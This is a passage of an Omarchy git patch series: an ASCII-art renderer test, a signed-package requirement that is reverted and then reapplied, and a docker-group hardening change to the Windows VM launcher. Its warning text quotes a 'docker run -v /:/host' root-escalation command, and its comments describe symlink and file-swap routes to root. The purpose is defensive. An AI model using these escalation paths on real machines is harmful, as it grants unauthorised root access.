███ ████████▀ ███ █▀ ▀█████▀ + ███ ███ +WORDMARK +) + +output=$(omarchy-ascii Omarchy) +[[ $output == "$expected" ]] || fail "the wordmark matches the reference rendering" "expected: +$expected +actual: +$output" +pass "the wordmark matches the reference rendering" + +# figlet.js and figlet.c disagree about a first M: the C one trims the column of +# blanks every row of that glyph shares, the JavaScript one keeps it. asciiart.eu +# runs figlet.js, so this pins the leading blanks rather than leaving the next +# reader to "fix" them. +expected_m=$( + cat <<'LETTER_M' + ▄▄▄▄███▄▄▄▄ + ▄██▀▀▀███▀▀▀██▄ + ███ ███ ███ + ███ ███ ███ + ███ ███ ███ + ███ ███ ███ + ███ ███ ███ + ▀█ ███ █▀ + +LETTER_M +) + +output=$(omarchy-ascii M) +[[ $output == "$expected_m" ]] || fail "a leading M keeps the blanks figlet.js gives it" "expected: +$expected_m +actual: +$output" +pass "a leading M keeps the blanks figlet.js gives it" + +output=$(printf 'Omarchy' | omarchy-ascii) +[[ $output == "$expected" ]] || fail "text can arrive on stdin" +pass "text can arrive on stdin" + +# The route is the way a user reaches this, and it dispatches on whether the +# metadata says an argument is required -- so a piped run has to be exercised +# through `omarchy` itself, not just through the binary. +output=$(printf 'Omarchy' | omarchy ascii) +[[ $output == "$expected" ]] || fail "piped text renders through the omarchy route" "got: +$output" +pass "piped text renders through the omarchy route" + +# The block characters are three bytes each, so the column arithmetic has to +# count columns rather than bytes wherever the locale lands. +output=$(LC_ALL=C omarchy-ascii Omarchy) +[[ $output == "$expected" ]] || fail "a byte-only locale draws the same wordmark" +pass "a byte-only locale draws the same wordmark" + +blanks=$(omarchy-ascii Omarchy | grep -c ' $' || true) +[[ $blanks == "0" ]] || fail "no line is padded with trailing blanks" "$blanks lines end in a blank" +pass "no line is padded with trailing blanks" + +# The space is a glyph of five hardblank columns, so it is worth exactly five +# columns of art -- not merely more than none. +tight=$(omarchy-ascii "Hi" | columns) +spaced=$(omarchy-ascii "H i" | columns) +(( tight == 18 )) || fail "Hi is 18 columns wide" "got $tight" +(( spaced == tight + 5 )) || fail "a space between words is five columns" "expected $((tight + 5)), got $spaced" +pass "a space between words is five columns" + +rows=$(omarchy-ascii Hi | wc -l) +(( rows == 9 )) || fail "a block is nine rows" "got $rows" +pass "a block is nine rows" + +# An empty line is a block of its own in figlet, and dropping it would silently +# close up the gap someone put there on purpose. +rows=$(printf 'A\n\nB\n' | omarchy-ascii | wc -l) +(( rows == 27 )) || fail "an empty line still draws its block" "expected 27 rows, got $rows" +pass "an empty line still draws its block" + +# awk reads escapes in a variable it is given on the command line, so text has +# to reach it as input instead: a backslash is a character the font lacks, not +# the start of an escape. +rows=$(omarchy-ascii 'A\nB' 2>/dev/null | wc -l) +(( rows == 9 )) || fail "a backslash in the text is not an escape" "expected 9 rows, got $rows" +pass "a backslash in the text is not an escape" + +# Delta Corps Priest 1 carries letters and spaces only. Dropping the rest in +# silence would leave a version number looking like a bug in the renderer. +status=0 +warning=$(omarchy-ascii "Omarchy 4.0" 2>&1 >/dev/null) || status=$? +(( status == 0 )) || fail "text with unusable characters still draws" "exited $status" +[[ $warning == *"Skipped"* && $warning == *"4"* && $warning == *"."* && $warning == *"0"* ]] || + fail "skipped characters are named on stderr" "got: $warning" +pass "skipped characters are named on stderr" + +output=$(omarchy-ascii "Omarchy 4.0" 2>/dev/null) +[[ $output == "$expected" ]] || fail "the drawable characters still render" +pass "the drawable characters still render" + +# Naming a skipped control character by writing it out would send it to the +# terminal as a control character. +warning=$(printf 'A\001B\n' | omarchy-ascii 2>&1 >/dev/null) +[[ $warning == *'\x01'* ]] || fail "a skipped control character is named by code" "got: $warning" +[[ $warning != *$'\001'* ]] || fail "a skipped control character is not written out raw" +pass "a skipped control character is named by code" + +status=0 +output=$(omarchy-ascii "4.0" 2>/dev/null) || status=$? +(( status == 1 )) || fail "text the font cannot draw at all fails" "exited $status" +[[ -z $output ]] || fail "text the font cannot draw at all prints nothing" +pass "text the font cannot draw at all fails" + +# A mistyped option would otherwise be drawn as art, silently. +status=0 +output=$(omarchy-ascii --width 40 2>&1 >/dev/null) || status=$? +(( status == 1 )) || fail "an unknown option is refused" "exited $status" +[[ $output == *"Unknown option: --width"* ]] || fail "an unknown option is named" "got: $output" +pass "an unknown option is refused" + +output=$(omarchy-ascii -- Hi | columns) +(( output == 18 )) || fail "text after -- is still text" "got $output columns" +pass "text after -- is still text" + +output=$(omarchy-ascii --help) +[[ $output == *"Usage: omarchy-ascii"* ]] || fail "help renders" +pass "help renders" From 39cffb8f517c88636c81792310b738964a40db2d Mon Sep 17 00:00:00 2001 From: Ryan Hughes Date: Mon, 24 Aug 2026 12:37:46 -0400 Subject: [PATCH 036/336] Require signed packages from the Omarchy repository --- default/pacman/pacman-edge.conf | 1 - default/pacman/pacman-rc.conf | 1 - default/pacman/pacman-stable.conf | 1 - migrations/1787589206.sh | 20 ++++++++++++++++++++ 4 files changed, 20 insertions(+), 3 deletions(-) create mode 100644 migrations/1787589206.sh diff --git a/default/pacman/pacman-edge.conf b/default/pacman/pacman-edge.conf index d83befca..a968d26d 100644 --- a/default/pacman/pacman-edge.conf +++ b/default/pacman/pacman-edge.conf @@ -26,7 +26,6 @@ Include = /etc/pacman.d/mirrorlist Include = /etc/pacman.d/mirrorlist [omarchy] -SigLevel = Optional TrustAll Server = https://pkgs.omarchy.org/edge/$arch # Repositories for debug symbol packages. diff --git a/default/pacman/pacman-rc.conf b/default/pacman/pacman-rc.conf index 50d2e498..cf8ca40a 100644 --- a/default/pacman/pacman-rc.conf +++ b/default/pacman/pacman-rc.conf @@ -26,5 +26,4 @@ Include = /etc/pacman.d/mirrorlist Include = /etc/pacman.d/mirrorlist [omarchy] -SigLevel = Optional TrustAll Server = https://pkgs.omarchy.org/edge/$arch diff --git a/default/pacman/pacman-stable.conf b/default/pacman/pacman-stable.conf index 5dafbc84..7e4b5538 100644 --- a/default/pacman/pacman-stable.conf +++ b/default/pacman/pacman-stable.conf @@ -26,5 +26,4 @@ Include = /etc/pacman.d/mirrorlist Include = /etc/pacman.d/mirrorlist [omarchy] -SigLevel = Optional TrustAll Server = https://pkgs.omarchy.org/stable/$arch diff --git a/migrations/1787589206.sh b/migrations/1787589206.sh new file mode 100644 index 00000000..928905a9 --- /dev/null +++ b/migrations/1787589206.sh @@ -0,0 +1,20 @@ +echo "Require signed packages from the Omarchy repository" + +# The [omarchy] repo predates the Omarchy packaging key, so existing installs +# carry a SigLevel override that also accepts unsigned packages. Packages are +# signed now, so drop the override and let the repo inherit the global +# SigLevel = Required DatabaseOptional like every other repo. Machine-wide and +# self-detecting, so another user's rerun no-ops. +omarchy_sig_override='SigLevel = Optional TrustAll' + +if [[ -f /etc/pacman.conf ]] && + sed -n '/^\[omarchy\]/,/^\[/p' /etc/pacman.conf | grep -qxF "$omarchy_sig_override"; then + # Requiring signatures with an untrusted packaging key would fail every + # omarchy transaction, including the one that could repair it. + if omarchy-pkg-missing omarchy-keyring || + ! sudo pacman-key --list-keys 40DFB630FF42BCFFB047046CF0134EE680CAC571 &>/dev/null; then + omarchy-update-keyring + fi + + sudo sed -i "/^\[omarchy\]/,/^\[/{/^$omarchy_sig_override$/d}" /etc/pacman.conf +fi From 5afc9e14951d529688370f87f5c189a003fc8037 Mon Sep 17 00:00:00 2001 From: Ryan Hughes Date: Mon, 24 Aug 2026 12:53:14 -0400 Subject: [PATCH 037/336] Revert "Require signed packages from the Omarchy repository" Reverts 39cffb8f, which landed on quattro through an accidental direct push. The change returns for review as a pull request. --- default/pacman/pacman-edge.conf | 1 + default/pacman/pacman-rc.conf | 1 + default/pacman/pacman-stable.conf | 1 + migrations/1787589206.sh | 20 -------------------- 4 files changed, 3 insertions(+), 20 deletions(-) delete mode 100644 migrations/1787589206.sh diff --git a/default/pacman/pacman-edge.conf b/default/pacman/pacman-edge.conf index a968d26d..d83befca 100644 --- a/default/pacman/pacman-edge.conf +++ b/default/pacman/pacman-edge.conf @@ -26,6 +26,7 @@ Include = /etc/pacman.d/mirrorlist Include = /etc/pacman.d/mirrorlist [omarchy] +SigLevel = Optional TrustAll Server = https://pkgs.omarchy.org/edge/$arch # Repositories for debug symbol packages. diff --git a/default/pacman/pacman-rc.conf b/default/pacman/pacman-rc.conf index cf8ca40a..50d2e498 100644 --- a/default/pacman/pacman-rc.conf +++ b/default/pacman/pacman-rc.conf @@ -26,4 +26,5 @@ Include = /etc/pacman.d/mirrorlist Include = /etc/pacman.d/mirrorlist [omarchy] +SigLevel = Optional TrustAll Server = https://pkgs.omarchy.org/edge/$arch diff --git a/default/pacman/pacman-stable.conf b/default/pacman/pacman-stable.conf index 7e4b5538..5dafbc84 100644 --- a/default/pacman/pacman-stable.conf +++ b/default/pacman/pacman-stable.conf @@ -26,4 +26,5 @@ Include = /etc/pacman.d/mirrorlist Include = /etc/pacman.d/mirrorlist [omarchy] +SigLevel = Optional TrustAll Server = https://pkgs.omarchy.org/stable/$arch diff --git a/migrations/1787589206.sh b/migrations/1787589206.sh deleted file mode 100644 index 928905a9..00000000 --- a/migrations/1787589206.sh +++ /dev/null @@ -1,20 +0,0 @@ -echo "Require signed packages from the Omarchy repository" - -# The [omarchy] repo predates the Omarchy packaging key, so existing installs -# carry a SigLevel override that also accepts unsigned packages. Packages are -# signed now, so drop the override and let the repo inherit the global -# SigLevel = Required DatabaseOptional like every other repo. Machine-wide and -# self-detecting, so another user's rerun no-ops. -omarchy_sig_override='SigLevel = Optional TrustAll' - -if [[ -f /etc/pacman.conf ]] && - sed -n '/^\[omarchy\]/,/^\[/p' /etc/pacman.conf | grep -qxF "$omarchy_sig_override"; then - # Requiring signatures with an untrusted packaging key would fail every - # omarchy transaction, including the one that could repair it. - if omarchy-pkg-missing omarchy-keyring || - ! sudo pacman-key --list-keys 40DFB630FF42BCFFB047046CF0134EE680CAC571 &>/dev/null; then - omarchy-update-keyring - fi - - sudo sed -i "/^\[omarchy\]/,/^\[/{/^$omarchy_sig_override$/d}" /etc/pacman.conf -fi From e66c27f1e7ed395fce4e6910300b2d7476413640 Mon Sep 17 00:00:00 2001 From: Ryan Hughes Date: Mon, 24 Aug 2026 12:37:46 -0400 Subject: [PATCH 038/336] Require signed packages from the Omarchy repository --- default/pacman/pacman-edge.conf | 1 - default/pacman/pacman-rc.conf | 1 - default/pacman/pacman-stable.conf | 1 - migrations/1787589206.sh | 20 ++++++++++++++++++++ 4 files changed, 20 insertions(+), 3 deletions(-) create mode 100644 migrations/1787589206.sh diff --git a/default/pacman/pacman-edge.conf b/default/pacman/pacman-edge.conf index d83befca..a968d26d 100644 --- a/default/pacman/pacman-edge.conf +++ b/default/pacman/pacman-edge.conf @@ -26,7 +26,6 @@ Include = /etc/pacman.d/mirrorlist Include = /etc/pacman.d/mirrorlist [omarchy] -SigLevel = Optional TrustAll Server = https://pkgs.omarchy.org/edge/$arch # Repositories for debug symbol packages. diff --git a/default/pacman/pacman-rc.conf b/default/pacman/pacman-rc.conf index 50d2e498..cf8ca40a 100644 --- a/default/pacman/pacman-rc.conf +++ b/default/pacman/pacman-rc.conf @@ -26,5 +26,4 @@ Include = /etc/pacman.d/mirrorlist Include = /etc/pacman.d/mirrorlist [omarchy] -SigLevel = Optional TrustAll Server = https://pkgs.omarchy.org/edge/$arch diff --git a/default/pacman/pacman-stable.conf b/default/pacman/pacman-stable.conf index 5dafbc84..7e4b5538 100644 --- a/default/pacman/pacman-stable.conf +++ b/default/pacman/pacman-stable.conf @@ -26,5 +26,4 @@ Include = /etc/pacman.d/mirrorlist Include = /etc/pacman.d/mirrorlist [omarchy] -SigLevel = Optional TrustAll Server = https://pkgs.omarchy.org/stable/$arch diff --git a/migrations/1787589206.sh b/migrations/1787589206.sh new file mode 100644 index 00000000..928905a9 --- /dev/null +++ b/migrations/1787589206.sh @@ -0,0 +1,20 @@ +echo "Require signed packages from the Omarchy repository" + +# The [omarchy] repo predates the Omarchy packaging key, so existing installs +# carry a SigLevel override that also accepts unsigned packages. Packages are +# signed now, so drop the override and let the repo inherit the global +# SigLevel = Required DatabaseOptional like every other repo. Machine-wide and +# self-detecting, so another user's rerun no-ops. +omarchy_sig_override='SigLevel = Optional TrustAll' + +if [[ -f /etc/pacman.conf ]] && + sed -n '/^\[omarchy\]/,/^\[/p' /etc/pacman.conf | grep -qxF "$omarchy_sig_override"; then + # Requiring signatures with an untrusted packaging key would fail every + # omarchy transaction, including the one that could repair it. + if omarchy-pkg-missing omarchy-keyring || + ! sudo pacman-key --list-keys 40DFB630FF42BCFFB047046CF0134EE680CAC571 &>/dev/null; then + omarchy-update-keyring + fi + + sudo sed -i "/^\[omarchy\]/,/^\[/{/^$omarchy_sig_override$/d}" /etc/pacman.conf +fi From b5ded31e2f9a86a15442e838f0e548346b91f375 Mon Sep 17 00:00:00 2001 From: Omarchybot Date: Mon, 24 Aug 2026 18:56:00 +0200 Subject: [PATCH 039/336] Don't put the user in the docker group; make it opt-in (#8056) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * Don't put the user in the docker group; make it opt-in The docker group is root-equivalent: anything in it can `docker run -v /:/host` and rewrite the host as root with no password. On a single-user box that's not an escalation (the owner is already a wheel/sudo user), but it hands any code running as the user — a rogue plugin, a poisoned dependency — a silent, headless, passwordless path to root that sudo's password prompt would otherwise gate. Stop granting the docker group by default. The daemon still runs (docker.socket); the Docker TUI and the Windows VM reach it through a polkit prompt, and the plain `docker` CLI runs under sudo. Sudoless Docker is a warned opt-in via Setup > Security (omarchy-setup-security-sudoless-docker). No automatic path may re-grant it: install and first-boot provisioning never record or apply the group (provisioning also filters a docker line left in an older factory snapshot), and the Quattro upgrade no longer adds it. The Windows VM keeps needing the root daemon for a privileged container (KVM, NET_ADMIN), so it is reworked to run without the group and without becoming a new way in: - The compose lives in a root-owned dir and is only written by an elevated, input-validated writer. A root-invoked bring-up must never consume a file a user-process could rewrite to bind-mount / into the guest — the old ~/.config/windows compose was exactly that. Volume paths are rebuilt from $HOME on migration rather than trusted from the (user-writable) legacy file, path validation rejects traversal, and the privileged sub-action is checked against an allowlist before dispatch (a slash in it would otherwise run as a path). - pkexec elevates a verified root-owned command path, not a PATH-resolved one, so an authorized prompt can't be redirected to an attacker's binary. - The guest password is kept in a private 0600 per-user file for RDP instead of a world-readable compose, and a declined authorization is reported as such, never as a completed stop. Existing installs auto-migrate the VM (no redownload) and refresh the stale Docker launcher entry. 🤖 Generated by Opus 4.8 in Claude Code. Reviewed by Codex XHigh. Co-Authored-By: Claude Opus 4.8 Co-Authored-By: Codex XHigh Claude-Session: https://claude.ai/code/session_01Gb7x6poap4hGCndPx5qt5T * Migrate existing installs off the docker group The default flip only reaches new installs; existing users keep their docker group membership and stay exposed. Extend the migration that already refreshes the Docker launcher to also remove the current user from the group when present, reusing omarchy-remove-security-sudoless-docker so there is one source of truth for the change and its notice. It takes effect at next login (the current session keeps working), and passwordless docker can be turned back on from Setup > Security > Sudoless Docker. Migrations run with sudo available — during `omarchy update`, or in the terminal the pending-migrations notification opens — so the privileged removal does not prompt at an unattended login. The no-op path (already out of the group) needs no privilege. Co-Authored-By: Claude Opus 4.8 Claude-Session: https://claude.ai/code/session_01Gb7x6poap4hGCndPx5qt5T * Refuse symlinked VM mount sources; correct the docker CLI docs Review follow-ups. valid_path keeps a traversal string (/./, //, ..) out of the compose, but it is a string check: a symlink planted at ~/.windows or ~/Windows redirects the privileged bind mount exactly as traversal would, because docker follows it. So verify the mount sources as root immediately before bringing the VM up — refuse a source that is a symlink or resolves through one — which is where the string check cannot help. A missing source stays fine (docker creates a plain dir). Also correct the development-tools manual: the CLI is not transparently elevated (there is no docker wrapper and `d` is still plain docker), so say plainly that docker on the command line takes `sudo` until sudoless Docker is enabled. Co-Authored-By: Claude Opus 4.8 Claude-Session: https://claude.ai/code/session_01Gb7x6poap4hGCndPx5qt5T --------- Co-authored-by: David Heinemeier Hansson Co-authored-by: Claude Opus 4.8 Co-authored-by: Codex XHigh --- applications/Docker.desktop | 2 +- bin/omarchy-launch-docker-tui | 18 + bin/omarchy-provision-owner | 5 + bin/omarchy-remove-security-sudoless-docker | 20 + bin/omarchy-setup-security-sudoless-docker | 37 ++ bin/omarchy-upgrade-to-quattro | 6 +- bin/omarchy-windows-vm | 601 +++++++++++++++---- default/hypr/bindings/applications.lua | 2 +- default/omarchy/omarchy-menu.jsonc | 2 + install/config/docker.sh | 26 +- manual/18-development-tools.md | 6 +- manual/28-windows-vm.md | 2 +- migrations/1787580187.sh | 20 + test/acceptance.d/system-test.sh | 16 +- test/shell.d/docker-group-migration-test.sh | 65 ++ test/shell.d/provisioning-groups-test.sh | 30 +- test/shell.d/sudoless-docker-posture-test.sh | 40 ++ test/shell.d/windows-vm-compose-test.sh | 124 ++++ 18 files changed, 862 insertions(+), 160 deletions(-) create mode 100755 bin/omarchy-launch-docker-tui create mode 100755 bin/omarchy-remove-security-sudoless-docker create mode 100755 bin/omarchy-setup-security-sudoless-docker create mode 100644 migrations/1787580187.sh create mode 100644 test/shell.d/docker-group-migration-test.sh create mode 100644 test/shell.d/sudoless-docker-posture-test.sh create mode 100644 test/shell.d/windows-vm-compose-test.sh diff --git a/applications/Docker.desktop b/applications/Docker.desktop index 4f9831c0..b1852335 100644 --- a/applications/Docker.desktop +++ b/applications/Docker.desktop @@ -1,7 +1,7 @@ [Desktop Entry] Version=1.0 Name=Docker -Exec=xdg-terminal-exec --app-id=TUI.tile -e lazydocker +Exec=xdg-terminal-exec --app-id=TUI.tile -e omarchy-launch-docker-tui Terminal=false Type=Application Icon=docker diff --git a/bin/omarchy-launch-docker-tui b/bin/omarchy-launch-docker-tui new file mode 100755 index 00000000..b31e9170 --- /dev/null +++ b/bin/omarchy-launch-docker-tui @@ -0,0 +1,18 @@ +#!/bin/bash + +# omarchy:summary=Open the Docker TUI (lazydocker) with access to the Docker daemon +# omarchy:hidden=true + +# By default the install user is NOT in the docker group: membership is +# root-equivalent (a container can bind-mount / and rewrite the host as root), +# so a single process running as the user could otherwise escalate to root with +# no prompt. lazydocker needs the root-owned Docker socket, so when the group is +# absent, gate that access behind a polkit prompt. If the user has opted into +# sudoless Docker (omarchy-setup-security-sudoless-docker), the socket is already +# reachable, so run lazydocker directly. pkexec sanitizes the environment, so +# carry TERM through for the TUI to render and run lazydocker from root's PATH. +if id -nG 2>/dev/null | grep -qw docker; then + exec lazydocker +else + exec pkexec /usr/bin/env TERM="${TERM:-xterm-256color}" lazydocker +fi diff --git a/bin/omarchy-provision-owner b/bin/omarchy-provision-owner index 14d1c193..ac4b90c1 100755 --- a/bin/omarchy-provision-owner +++ b/bin/omarchy-provision-owner @@ -676,6 +676,11 @@ user_groups() { if [[ -f $PROVISIONING_DIR/groups ]]; then while IFS= read -r group; do [[ -n $group ]] || continue + # Never grant docker at first boot, even if an older install recorded it + # (or a factory snapshot predating the opt-in default carries it): the + # docker group is root-equivalent. It is opt-in via + # omarchy-setup-security-sudoless-docker. + [[ $group == "docker" ]] && continue getent group "$group" >/dev/null || continue [[ ",$groups," == *",$group,"* ]] || groups+=",$group" done <"$PROVISIONING_DIR/groups" diff --git a/bin/omarchy-remove-security-sudoless-docker b/bin/omarchy-remove-security-sudoless-docker new file mode 100755 index 00000000..fdc9e706 --- /dev/null +++ b/bin/omarchy-remove-security-sudoless-docker @@ -0,0 +1,20 @@ +#!/bin/bash + +# omarchy:summary=Disable sudoless Docker by removing your user from the docker group +# omarchy:requires-sudo=true + +set -e + +if ! id -nG "$USER" 2>/dev/null | grep -qw docker; then + echo "Sudoless Docker is not enabled: $USER is not in the docker group." + exit 0 +fi + +echo "Removing $USER from the docker group..." +sudo gpasswd -d "$USER" docker >/dev/null + +echo "" +echo "Sudoless Docker DISABLED. Log out and back in for the change to take effect." +echo "Docker access now goes through a polkit/sudo prompt again: the Docker TUI" +echo "(Super + Shift + D) and the Windows VM will ask when they need it, and the" +echo "plain 'docker' CLI runs under sudo." diff --git a/bin/omarchy-setup-security-sudoless-docker b/bin/omarchy-setup-security-sudoless-docker new file mode 100755 index 00000000..38cee96f --- /dev/null +++ b/bin/omarchy-setup-security-sudoless-docker @@ -0,0 +1,37 @@ +#!/bin/bash + +# omarchy:summary=Enable sudoless Docker by adding your user to the docker group (root-equivalent!) +# omarchy:requires-sudo=true + +set -e + +if id -nG "$USER" 2>/dev/null | grep -qw docker; then + echo "Sudoless Docker is already enabled: $USER is in the docker group." + echo "To disable it again, run: omarchy-remove-security-sudoless-docker" + exit 0 +fi + +echo "" +echo "⚠️ WARNING: Enabling sudoless Docker adds you to the 'docker' group." +echo "" +echo "The Docker daemon runs as root, so membership in the docker group is" +echo "equivalent to passwordless root. Any process running as your user could" +echo "then run, for example:" +echo "" +echo " docker run -v /:/host alpine # full read/write of the host, as root" +echo "" +echo "and take over the machine with no password prompt. A single rogue script," +echo "dependency, or plugin running as you is enough. It is convenient for" +echo "development, but it removes the protection Omarchy keeps by default, where" +echo "Docker access goes through a polkit/sudo prompt." +echo "" + +if gum confirm "Enable sudoless Docker? This gives anything running as you passwordless root."; then + sudo usermod -aG docker "$USER" + echo "" + echo "Sudoless Docker ENABLED. Log out and back in (or run 'newgrp docker')" + echo "for the new group membership to take effect." + echo "To disable it again, run: omarchy-remove-security-sudoless-docker" +else + echo "Aborted. No changes made. Docker access still goes through a prompt." +fi diff --git a/bin/omarchy-upgrade-to-quattro b/bin/omarchy-upgrade-to-quattro index 37c09c04..e28da697 100755 --- a/bin/omarchy-upgrade-to-quattro +++ b/bin/omarchy-upgrade-to-quattro @@ -1317,9 +1317,9 @@ apply_system_transition() { printf '%s\n' '{"browser":{"theme":{"color_scheme":0,"color_scheme2":0}}}' | \ as_root tee /usr/lib/chromium/initial_preferences >/dev/null - if getent group docker >/dev/null; then - as_root usermod -aG docker "$target_user" - fi + # Deliberately do NOT add the user to the docker group. That group is + # root-equivalent, so it is opt-in now (Setup > Security > Sudoless Docker); + # re-granting it on upgrade would silently undo that default for everyone. if [[ -f /usr/bin/powerprofilesctl ]]; then as_root sed -i '/env python3/ c\#!/bin/python3' /usr/bin/powerprofilesctl || true diff --git a/bin/omarchy-windows-vm b/bin/omarchy-windows-vm index 793c1969..071dc784 100755 --- a/bin/omarchy-windows-vm +++ b/bin/omarchy-windows-vm @@ -4,11 +4,368 @@ # omarchy:args= [options] # omarchy:requires-sudo=true -COMPOSE_FILE="$HOME/.config/windows/docker-compose.yml" +# The Windows VM runs a privileged container (KVM, /dev/net/tun, NET_ADMIN), so +# it needs the root-owned Docker daemon. By default the user is NOT in the docker +# group (that group is root-equivalent), so Docker access is gated behind a +# single polkit prompt. If the user opted into sudoless Docker +# (omarchy-setup-security-sudoless-docker), the socket is reachable directly and +# no prompt appears. +# +# The compose file lives in a root-owned directory and is only ever written by +# the elevated, input-validated write_compose action below. That is the whole +# point: a root-invoked `docker compose up` must never consume a file that a +# process running as the user could have rewritten to bind-mount / into the +# container. Earlier versions kept it under ~/.config/windows, which a rogue +# process could edit and then trigger a privileged bring-up of — a file-swap +# path to root. Do not move it back under $HOME. + +RUNTIME_DIR="${OMARCHY_WINDOWS_DIR:-/var/lib/omarchy/windows}" +COMPOSE_FILE="$RUNTIME_DIR/docker-compose.yml" +LEGACY_COMPOSE_FILE="$HOME/.config/windows/docker-compose.yml" +# The guest password lives in the root-owned compose (readable by root and the +# docker group), but RDP needs it as the user. Keep a private copy here, 0600 in +# the user's own config, so the plaintext password is never world-readable. +CREDENTIALS_FILE="$HOME/.config/windows/credentials" +IMAGE="dockurr/windows" +CONTAINER="omarchy-windows" + +# --- privilege helpers ------------------------------------------------------- + +# True when the user can reach the Docker socket directly (sudoless Docker on). +in_docker_group() { id -nG 2>/dev/null | grep -qw docker; } + +# The command to hand pkexec for the privileged re-exec. pkexec runs whatever +# executable it is given (after authorization) and only shows the path in the +# prompt — it does NOT require the target to be root-owned. So resolve to the +# packaged command and refuse to elevate anything a non-root user could have +# written: a PATH-injected shim, or a user-owned dev checkout. Without this, a +# prompt the user grants for the trusted helper could run an attacker's binary +# as root. Fails closed (empty output) when no trustworthy target is found. +priv_target() { + local candidate owner mode + for candidate in /usr/bin/omarchy-windows-vm "$(type -P omarchy-windows-vm 2>/dev/null)"; do + [[ -n $candidate && -x $candidate ]] || continue + owner=$(stat -Lc '%u' "$candidate" 2>/dev/null) || continue + mode=$(stat -Lc '%a' "$candidate" 2>/dev/null) || continue + [[ $owner == "0" ]] || continue + ((8#$mode & 022)) && continue # writable by group or other -> reject + printf '%s\n' "$candidate" + return 0 + done + return 1 +} + +# Run a privileged VM action. write_compose always elevates (the compose is +# root-owned); the daemon operations run directly when sudoless Docker is on and +# otherwise behind a polkit prompt. The stock org.freedesktop.policykit.exec +# policy is auth_admin (not auth_admin_keep), so each elevated action prompts: +# a launch asks once to start and, unless authorization is still cached by the +# agent, again to stop. +priv() { + local action="$1" + shift + if [[ $action != write_compose ]] && in_docker_group; then + "__priv_$action" "$@" + return + fi + local target + target=$(priv_target) || { + echo "omarchy-windows-vm: refusing to run a non-root-owned command as root" >&2 + return 1 + } + pkexec "$target" __priv "$action" "$@" +} + +dc() { docker-compose -f "$COMPOSE_FILE" "$@"; } + +# --- validation (shared by the user-side prompts and the root-side writer) ---- + +valid_ram() { [[ $1 =~ ^[0-9]{1,3}G$ ]]; } +valid_cores() { [[ $1 =~ ^[0-9]{1,2}$ ]] && ((10#$1 >= 1)); } +valid_disk() { [[ $1 =~ ^[0-9]{1,4}G$ ]]; } +valid_username() { [[ $1 =~ ^[A-Za-z0-9_-]{1,20}$ ]]; } +valid_tz() { [[ $1 =~ ^[A-Za-z0-9_/.+-]{1,64}$ ]]; } +valid_path() { + [[ $1 =~ ^/[A-Za-z0-9._/-]+$ ]] || return 1 + # Reject non-normalized paths: a . or .. component canonicalizes at mount time + # (e.g. /./ or /a/../ -> /), which would bind-mount a sensitive directory — + # host / included — into the guest. Volumes must be given already-normalized. + case "$1" in + *//* | */./* | */../* | */. | */..) return 1 ;; + esac + return 0 +} +valid_password() { [[ $1 =~ ^[[:print:]]{1,64}$ ]]; } + +# The only privileged sub-actions __priv may dispatch. A bash command name +# containing a slash is executed as a path, so validating the action here — not +# just interpolating it into "__priv_${action}" — is what stops an action like +# ../tmp/evil from running an arbitrary file as root. +valid_priv_action() { + case "$1" in + write_compose | up | up_wait | down | status | remove) return 0 ;; + *) return 1 ;; + esac +} + +# --- privileged actions (run as root via pkexec, or directly when sudoless) --- + +# Reads KEY=VALUE lines on stdin, re-validates every field, and writes the +# compose atomically as root. Re-validation here is the security boundary: the +# writer refuses rather than emit a compose an attacker could have influenced. +# Only these fixed keys are honored; image, container name, devices, caps, and +# port bindings are hard-coded and never taken from input. +__priv_write_compose() { + local ram cores disk username password tz storage shared key value + + while IFS='=' read -r key value; do + case "$key" in + RAM) ram="$value" ;; + CORES) cores="$value" ;; + DISK) disk="$value" ;; + USERNAME) username="$value" ;; + PASSWORD) password="$value" ;; + TZ) tz="$value" ;; + STORAGE) storage="$value" ;; + SHARED) shared="$value" ;; + esac + done + + valid_ram "$ram" || { echo "invalid RAM: $ram" >&2; exit 2; } + valid_cores "$cores" || { echo "invalid CPU cores: $cores" >&2; exit 2; } + valid_disk "$disk" || { echo "invalid disk size: $disk" >&2; exit 2; } + valid_username "$username" || { echo "invalid username: $username" >&2; exit 2; } + valid_password "$password" || { echo "invalid password" >&2; exit 2; } + valid_tz "$tz" || tz="UTC" + valid_path "$storage" || { echo "invalid storage path: $storage" >&2; exit 2; } + valid_path "$shared" || { echo "invalid shared path: $shared" >&2; exit 2; } + + # Neutralize anything in the password that could be misread when the compose + # is parsed. Two layers apply, in this order at parse time: docker compose + # variable interpolation over the raw text ($VAR / $$), then YAML parsing of + # the double-quoted scalar. Encode for the inner layer first (backslash, then + # double-quote) and the interpolation layer last ($ -> $$), so a password + # containing " \ or $ reaches the guest verbatim. unescape() reverses this in + # the opposite order for the RDP credentials. + local esc_password=${password//\\/\\\\} + esc_password=${esc_password//\"/\\\"} + esc_password=${esc_password//\$/\$\$} + + mkdir -p "$RUNTIME_DIR" + chmod 0755 "$RUNTIME_DIR" 2>/dev/null || true + chown root:root "$RUNTIME_DIR" 2>/dev/null || true + + local tmp + tmp=$(mktemp "$RUNTIME_DIR/.compose.XXXXXX") + cat >"$tmp" </dev/null || true + chown root:docker "$tmp" 2>/dev/null || chown root:root "$tmp" 2>/dev/null || true + mv -f "$tmp" "$COMPOSE_FILE" +} + +# Read the host source of a bind mount out of the compose (e.g. /storage). +# valid_path kept a ':' out of the stored path, so splitting on it is safe. +get_mount_source() { + sed -n "s|^[[:space:]]*-[[:space:]]*\(/[^:]*\):$1\$|\1|p" "$COMPOSE_FILE" | head -n1 +} + +# Refuse to bring the VM up if a bind-mount source is a symlink, or reached +# through one. valid_path keeps a traversal string like /./ out of the compose, +# but a symlink planted at ~/.windows or ~/Windows would redirect the privileged +# mount just the same — docker follows it — and a string check cannot see that. +# So verify the real directories here, as root, immediately before the mount. A +# source that does not exist is fine: docker creates it as a plain directory. +assert_mounts_safe() { + local mnt src real + for mnt in /storage /shared; do + src=$(get_mount_source "$mnt") + [[ -n $src ]] || { + echo "omarchy-windows-vm: missing $mnt mount source in the compose" >&2 + return 1 + } + if [[ -L $src ]]; then + echo "omarchy-windows-vm: refusing to start — $src is a symlink; the VM mount source must be a real directory" >&2 + return 1 + fi + if [[ -e $src ]]; then + [[ -d $src ]] || { + echo "omarchy-windows-vm: refusing to start — $src is not a directory" >&2 + return 1 + } + real=$(realpath "$src" 2>/dev/null) + [[ $real == "$src" ]] || { + echo "omarchy-windows-vm: refusing to start — $src resolves through a symlink to $real" >&2 + return 1 + } + fi + done +} + +__priv_up() { assert_mounts_safe 